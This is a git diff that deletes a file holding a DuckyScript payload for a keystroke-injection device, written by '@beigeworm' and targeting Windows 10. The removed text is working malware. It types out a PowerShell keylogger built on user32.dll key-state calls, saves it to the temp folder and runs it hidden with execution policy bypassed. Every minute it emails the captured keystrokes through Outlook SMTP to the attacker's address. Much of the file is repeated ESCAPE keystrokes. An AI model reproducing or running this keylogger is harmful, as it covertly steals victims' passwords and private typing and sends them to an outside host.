diff --git a/Keylogger to Email.txt b/Keylogger to Email.txt deleted file mode 100644 index 65d1e41..0000000 --- a/Keylogger to Email.txt +++ /dev/null @@ -1,484 +0,0 @@ -REM Title: Email System & User Info (old) -REM Author: @beigeworm -REM Description: Uses Powershell to gather system info and send it via Email. -REM Target: Windows 10 - -REM *NOTE* - There are a lot of ESCAPE characters half way down because typing speed is too fast for notepad. (Can be avoided by moving the mouse while flipper types) -REM this is a quick and dirty fix that i will revise in the near future. - -REM *REQUIREMENTS* -REM you will need a Microsoft Outlook Email address for this to work - -REM *SETUP* -REM replace YOUR_EMAIL and YOUR_PASSWORD. (check entire script) -REM set $runtime=1 to desired interval beetween emails (in minutes). Default is 1 minute. - -REM some setup for dukie script -DEFAULT_DELAY 100 - -REM Open Notepad for script building. -DELAY 1000 -GUI r -DELAY 500 -STRING notepad -ENTER -DELAY 2500 -STRING Do{$FromTo = "YOUR_EMAIL";$Pass = "YOUR_PASSWORD";$RunTime = 1;$TimesRun = 1;$getT = Get-Date;$Subj = "$env:COMPUTERNAME : log Results";$body = "$env:COMPUTERNAME : Results : $strt" -ENTER -STRING $SMTP = "smtp.outlook.com";$Prt = "587";$Creds = new-object Management.Automation.PSCredential $FromTo, ($Pass | ConvertTo-SecureString -AsPlainText -Force) -ENTER -STRING $Attachment = $strt = Get-Date;$end = $strt.addminutes($RunTime);function Start-Key($Path="$env:temp\log.txt"){$sigs = @' -ENTER -STRING [DllImport("user32.dll", CharSet=CharSet.Auto, ExactSpelling=true)] public static extern short GetAsyncKeyState(int virtualKeyCode); -ENTER -STRING [DllImport("user32.dll", CharSet=CharSet.Auto)] public static extern int GetKeyboardState(byte[] keystate); -ENTER -STRING [DllImport("user32.dll", CharSet=CharSet.Auto)] public static extern int MapVirtualKey(uint uCode, int uMapType); -ENTER -STRING [DllImport("user32.dll", CharSet=CharSet.Auto)] public static extern int ToUnicode(uint wVirtKey, uint wScanCode, byte[] lpkeystate, System.Text.StringBuilder pwszBuff, int cchBuff, uint wFlags); -ENTER -STRING '@ -ENTER -ENTER -STRING $API = Add-Type -MemberDefinition $sigs -Name 'Win32' -Namespace API -PassThru;$null = New-Item -Path $Path -ItemType File -Force;try{$rnnr = 0;while ($TimesRun -ge $rnnr){ -ENTER -STRING while ($end -ge $getT){Start-Sleep -Milliseconds 30;for($ascii = 9; $ascii -le 254; $ascii++){$state = $API::GetAsyncKeyState($ascii);if($state -eq -32767){$null = [console]::CapsLock -ENTER -STRING $virtualKey = $API::MapVirtualKey($ascii, 3);$kbstate = New-Object Byte[] 256;$checkkbstate = $API::GetKeyboardState($kbstate);$mychar = New-Object -TypeName System.Text.StringBuilder -ENTER -STRING $success = $API::ToUnicode($ascii, $virtualKey, $kbstate, $mychar, $mychar.Capacity, 0);if($success){[System.IO.File]::AppendAllText($Path, $mychar, [System.Text.Encoding]::Unicode)}}} -ENTER -STRING $getT = Get-Date};Sleep 3;send-mailmessage -from $FromTo -to $FromTo -subject $Subj -body $body -Attachment $Path -smtpServer $SMTP -port $Prt -credential $Creds -usessl -ENTER -STRING Remove-Item -Path $Path -force}}finally{$null = New-Item -Path $Path -ItemType File -Force}}Start-Key}While ($a -le 5) -ENTER -DELAY 1000 - -REM because typing speed can't be adjusted. (Can be avoided by moving the mouse while flipper types) -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE -ESCAPE - - -DELAY 10000 -REM save in temp directory. -DELAY 1000 -CTRL-SHIFT s -DELAY 1500 -STRING %temp% -ENTER -STRING txtlog.ps1 -DELAY 500 -TAB -DOWN -DOWN -ENTER -ENTER -DELAY 1000 -ALT F4 - -REM Open Powershell and start logs. -DELAY 1000 -GUI r -DELAY 500 -STRING powershell -NoP -NonI -W Hidden -Exec Bypass -C cd $env:temp;sleep 1; ./txtlog.ps1;sleep 5;exit -ENTER -